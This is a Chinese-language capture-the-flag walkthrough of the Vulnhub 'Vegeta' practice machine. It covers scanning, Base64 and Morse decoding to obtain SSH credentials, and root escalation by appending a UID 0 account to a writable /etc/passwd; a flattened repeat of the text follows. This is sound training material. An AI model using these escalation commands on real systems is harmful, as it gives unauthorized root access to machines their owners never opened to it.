vulnhub打靶日记day01之vegeta
字数 1075 2025-08-24 10:10:13

Vulnhub靶机渗透实战:Vegeta靶机完整攻略

靶机概述

Vegeta是Vulnhub上的一个初级难度靶机,主要考察以下技能:

  • 网络配置调整
  • 信息收集与目录扫描
  • Base64编码与图片隐写
  • 莫斯密码解码
  • Linux系统提权技术

一、靶机环境配置

网络设置问题解决

当靶机启动后无法获取IP时,按以下步骤解决:

  1. 启动时在GRUB界面按下e键进入编辑模式
  2. ro改为rw signie init=/bin/bash
  3. Ctrl+X进入bash界面
  4. 检查系统信息:
    cat /etc/*-release
    uname -a
    
  5. 查看网卡配置:
    ip a
    
  6. 编辑网卡配置文件/etc/network/interfaces
    auto ens33
    iface ens33 inet dhcp
    # 注释掉IPv6相关配置
    
  7. 重启网络服务:
    /etc/init.d/networking restart
    

二、信息收集阶段

1. 网络扫描

nmap -sn 10.10.10.0/24  # 发现目标IP
nmap -Pn -A -p- 10.10.10.130  # 全面扫描

发现开放端口:

  • 22 (SSH)
  • 80 (HTTP)

2. Web目录扫描

使用WebPathScan工具扫描:

pathmap.exe scan url http://10.10.10.130

发现关键目录:

  • /robots.txt → 指向/find_me目录
  • /bulma (需使用Kali自带字典才能发现)

3. 隐写分析

/find_me页面源码中发现Base64编码字符串,需两次解码:

import base64
from io import BytesIO
from PIL import Image

base64_data = "aVZCT1J3MEtHZ29BQUFBTlNVaEVVZ0FBQU1nQUFBRElDQVlBQUFDdFdLNmVBQUFIaGtsRVFWUjRuTzJad1k0c09RZ0U1LzkvK3UyMU5TdTdCd3JTaVN0QzhoR2M0SXBMOTg4L0FGanljem9BZ0RNSUFyQUJRUUEySUFqQUJnUUIySUFnQUJzUUJHQURnZ0JzUUJDQURRZ0NzQUZCQURhRUJmbjUrUmwvbk9aTFAxeER6K3g5VTA1cWJoWjFkcjRzSFQyejkwMDVxYmxaMU5uNXNuVDB6TjQzNWFUbVpsRm41OHZTMFRONzM1U1RtcHRGblowdlMwZlA3SDFUVG1wdUZuVjJ2aXdkUGJQM1RUbXB1Vm5VMmZteWRQVE0zamZscE9hdVhKUVRUamxkSHZ0YmxvNDZOUWp5UjV4eUlvZ09CUGtqVGprUlJBZUMvQkdubkFpaUEwSCtpRk5PQk5HQklIL0VLU2VDNkVDUVArS1VFMEYwakJWRS9aSGM4SEhkUHZ1RWQwZVF3N003MWFtelRIaDNCRGs4dTFPZE9zdUVkMGVRdzdNNzFhbXpUSGgzQkRrOHUxT2RPc3VFZDBlUXc3TTcxYW16VEhoM0JEazh1MU9kT3N1RWQwZVFJcWJNNENUcmhKMGhTQkZUWmtDUUdBaFN4SlFaRUNRR2doUXhaUVlFaVlFZ1JVeVpBVUZpSUVnUlUyWkFrQmdJVXNTVUdSQWtCb0lVMFRHZjAxN2UrdTRJVXNScEtSRGtXYzVsdjNEQlN4ZjFqZE5TSU1pem5NdCs0WUtYTHVvYnA2VkFrR2M1bC8zQ0JTOWQxRGRPUzRFZ3ozSXUrNFVMWHJxb2I1eVdBa0dlNVZ6MkN4ZThkRkhmT0MwRmdqekx1ZXdYTGhCL2VGazZjcm84Mm9rc2IzMTNCQkgwdkNITFc5OGRRUVE5YjhqeTFuZEhFRUhQRzdLODlkMFJSTkR6aGl4dmZYY0VFZlM4SWN0YjN4MUJCRDF2eVBMV2R5OFZaTXJwV1BDYjY2YWNEQWdTbUkrNjJTY0RnZ1RtbzI3MnlZQWdnZm1vbTMweUlFaGdQdXBtbnd3SUVwaVB1dGtuQTRJRTVxTnU5c25nOVNPMkFjcmxQN212SXd2OEg3YjVDd1NCVDlqbUx4QUVQbUdidjBBUStJUnQvZ0pCNEJPMitRc0VnVS9ZNWk4UUJENlIvUS9pMURPTFU4OHBkV3FxY3lKSTBlenFubFBxMUNBSWdveXFVNE1nQ0RLcVRnMkNJTWlvT2pVSWdpQ2o2dFFnQ0lLTXFsTnpYQkExYnhZeWk5TU1UbStVeWwvZXNSZ0VpZU0wZzlNYnBmS1hkeXdHUWVJNHplRDBScW44NVIyTFFaQTRUak00dlZFcWYzbkhZaEFranRNTVRtK1V5bC9lc1JnRWllTTBnOU1icGZLWGR5d0dRZUk0emVEMFJxbjhwYzJTUTcxWkFxZlpwd2pTVWJmc2w2cEtoRU1RajV3SUVzeWZxa3FFUXhDUG5BZ1N6SitxU29SREVJK2NDQkxNbjZwS2hFTVFqNXdJRXN5ZnFrcUVReENQbkFnU3pKK3FTb1JERUkrY0NCTE1uNm9xRHVleWpLNmVhcHdFNmNpWjdabkttS29xRHVleWpLNmVhaEFFUVI3VnFYdXFRUkFFZVZTbjdxa0dRUkRrVVoyNnB4b0VRWkJIZGVxZWFoQUVRUjdWcVh1cVFaQ0JncWcvNWpmZjEvRngzUzdXOHE2cHdia1BRUkNFK3hDa01HZnFycW5CdVE5QkVJVDdFS1F3WitxdXFjRzVEMEVRaFBzUXBEQm42cTdLY0ZtY0hzYnBvM1RLMlpGbEFnaHlPQXVDZUlNZ2g3TWdpRGNJY2pnTGduaURJSWV6SUlnM0NISTRDNEo0Z3lDSHN5Q0lONldDM1A0d1RvL3RKTEo2TDhvc0NGSjBueG9FUVpDMkxCMzNxVUVRQkduTDBuR2ZHZ1JCa0xZc0hmZXBRUkFFYWN2U2NaOGFCRUdRdGl3ZDk2bEJrSUdDZE5TcGUyYnZVMzk0Nm5mb3lPazAzN0pmdU1Ba2VGZlA3SDFPSDE3MlBuVk9wL21XL2NJRkpzRzdlbWJ2Yy9yd3N2ZXBjenJOdCt3WExqQUozdFV6ZTUvVGg1ZTlUNTNUYWI1bHYzQ0JTZkN1bnRuN25ENjg3SDNxbkU3ekxmdUZDMHlDZC9YTTN1ZjA0V1h2VStkMG1tL1pMMXhnRXJ5clovWStwdzh2ZTU4NnA5Tjh5MzdoQXZHSGZzUHlPN0pNMmFkNlp3aGkrbWdkODkyd1R3UzU3RUU3WmtjUUJMbm1RVHRtUnhBRXVlWkJPMlpIRUFTNTVrRTdaa2NRQkxubVFUdG1SNUFYQ1hJNzZnKzJBN1dRSFZrNnhFcmxUMVZkRElKNFpFRVFVeERFSXd1Q21JSWdIbGtReEJRRThjaUNJS1lnaUVjV0JERUZRVHl5akJXa1kyRDFjV0xLQitUeXdYNERRUkFFUVlUM0ljaGhFS1FXQkVFUUJCSGVoeUNIUVpCYUVBUkJFRVI0SDRJY0JrRnFzUmJFaVk2Y04zek1UaCtzK28xUy9VNEg2QUpCRUFSQk5pQUlnaURJQmdSQkVBVFpnQ0FJZ2lBYkVBUkJFR1FEZ2lESUtFRnUrTGc2NW5QSzRuVFV1MTdlRlM0d2VqUjF6bzc1bkxJNEhmV3VsM2VGQzR3ZVRaMnpZejZuTEU1SHZldmxYZUVDbzBkVDUreVl6eW1MMDFIdmVubFh1TURvMGRRNU8rWnp5dUowMUx0ZTNoVXVNSG8wZGM2TytaeXlPQjMxcnBkM2hRdU1IazJkczJNK3B5eE9SNzNyNVYzaEFxTkhVK2QwMnN1VUxOTnpJb2h4M1ExWnB1ZEVFT082RzdKTXo0a2d4blUzWkptZUUwR002MjdJTWowbmdoalgzWkJsZWs0RU1hNjdJY3YwbkFoU3hKUVoxRDJuZkMvTEhKWExjQm9ZUVR4NlR2bGVsamtxbCtFME1JSjQ5Snp5dlN4elZDN0RhV0FFOGVnNTVYdFo1cWhjaHRQQUNPTFJjOHIzc3N4UnVReW5nUkhFbytlVTcyV1pvM0laVGdNamlFZlBLZC9MTWtmbE1weVk4bEVxSC9zSlRoODZnaFNBSUxVZ1NQT2kxQ0JJTFFqU3ZDZzFDRklMZ2pRdlNnMkMxSUlnell0U2d5QzFJRWp6b3RRZ1NDMElVckNvS1NjN245TmVzcHplZmNVTTJmbFMvU29EVERrZEMzYWF3U2tuZ2d3OEhRdDJtc0VwSjRJTVBCMExkcHJCS1NlQ0REd2RDM2Fhd1NrbmdndzhIUXQybXNFcEo0SU1QQjBMZHByQktlZnJCQUY0RXdnQ3NBRkJBRFlnQ01BR0JBSFlnQ0FBR3hBRVlBT0NBR3hBRUlBTkNBS3dBVUVBTmlBSXdBWUVBZGp3SHlVRnd2VnIwS3ZGQUFBQUFFbEZUa1N1UW1DQw=="

# 第一次解码
image_data1 = base64.b64decode(base64_data)
# 第二次解码
image_data2 = base64.b64decode(image_data1)

# 创建图片
image_stream = BytesIO(image_data2)
image = Image.open(image_stream)
image.show()

解码后会显示一个二维码,扫描后获得密码(但无法直接用于root登录)。

4. 莫斯密码解码

/bulma目录下发现音频文件,使用在线解码工具:
https://morsecode.world/international/decoder/audio-decoder-expert.html

解码结果:

  • 用户名:trunks
  • 密码:u$3r

成功通过SSH登录:

ssh trunks@10.10.10.130

三、权限提升

1. 信息收集

检查当前权限:

id

检查关键文件权限:

ls -l /etc/passwd
ls -l /etc/shadow

发现/etc/passwd文件有写权限。

2. Passwd文件提权

  1. 生成加密密码:
openssl passwd -1
# 输入密码123,得到加密字符串:$1$imGj2JWO$YVM/Yh0cfGHtlm7Uz5vKw/
  1. 添加root权限用户:
echo 'test:$1$imGj2JWO$YVM/Yh0cfGHtlm7Uz5vKw/:0:0:root:/root:/bin/bash' >> /etc/passwd
  1. 切换用户:
su test
# 密码:123

3. 获取Flag

cd /root
ls
cat flag.txt

四、技术要点总结

  1. 目录扫描技巧

    • 使用Kali自带字典扫描隐藏目录
    • 重点关注robots.txt文件
  2. 隐写分析

    • 网页源码中隐藏的Base64编码
    • 多层Base64解码技巧
    • 图片隐写与二维码生成
  3. 密码学应用

    • 莫斯密码音频解码
    • 在线解码工具的使用
  4. Linux提权

    • /etc/passwd文件权限检查
    • 通过添加用户实现提权
    • openssl passwd生成加密密码
  5. 问题解决

    • 靶机网络配置问题的调试
    • 权限不足时的提权思路

五、扩展思考

  1. 如果/etc/passwd没有写权限,还可以尝试哪些提权方法?
  2. 如何防御此类通过修改passwd文件的提权攻击?
  3. 在实际渗透测试中,如何更有效地发现隐藏目录?
Vulnhub靶机渗透实战:Vegeta靶机完整攻略 靶机概述 Vegeta是Vulnhub上的一个初级难度靶机,主要考察以下技能: 网络配置调整 信息收集与目录扫描 Base64编码与图片隐写 莫斯密码解码 Linux系统提权技术 一、靶机环境配置 网络设置问题解决 当靶机启动后无法获取IP时,按以下步骤解决: 启动时在GRUB界面按下 e 键进入编辑模式 将 ro 改为 rw signie init=/bin/bash 按 Ctrl+X 进入bash界面 检查系统信息: 查看网卡配置: 编辑网卡配置文件 /etc/network/interfaces : 重启网络服务: 二、信息收集阶段 1. 网络扫描 发现开放端口: 22 (SSH) 80 (HTTP) 2. Web目录扫描 使用WebPathScan工具扫描: 发现关键目录: /robots.txt → 指向 /find_me 目录 /bulma (需使用Kali自带字典才能发现) 3. 隐写分析 在 /find_me 页面源码中发现Base64编码字符串,需两次解码: 解码后会显示一个二维码,扫描后获得密码(但无法直接用于root登录)。 4. 莫斯密码解码 在 /bulma 目录下发现音频文件,使用在线解码工具: https://morsecode.world/international/decoder/audio-decoder-expert.html 解码结果: 用户名: trunks 密码: u$3r 成功通过SSH登录: 三、权限提升 1. 信息收集 检查当前权限: 检查关键文件权限: 发现 /etc/passwd 文件有写权限。 2. Passwd文件提权 生成加密密码: 添加root权限用户: 切换用户: 3. 获取Flag 四、技术要点总结 目录扫描技巧 : 使用Kali自带字典扫描隐藏目录 重点关注 robots.txt 文件 隐写分析 : 网页源码中隐藏的Base64编码 多层Base64解码技巧 图片隐写与二维码生成 密码学应用 : 莫斯密码音频解码 在线解码工具的使用 Linux提权 : /etc/passwd 文件权限检查 通过添加用户实现提权 openssl passwd 生成加密密码 问题解决 : 靶机网络配置问题的调试 权限不足时的提权思路 五、扩展思考 如果 /etc/passwd 没有写权限,还可以尝试哪些提权方法? 如何防御此类通过修改passwd文件的提权攻击? 在实际渗透测试中,如何更有效地发现隐藏目录?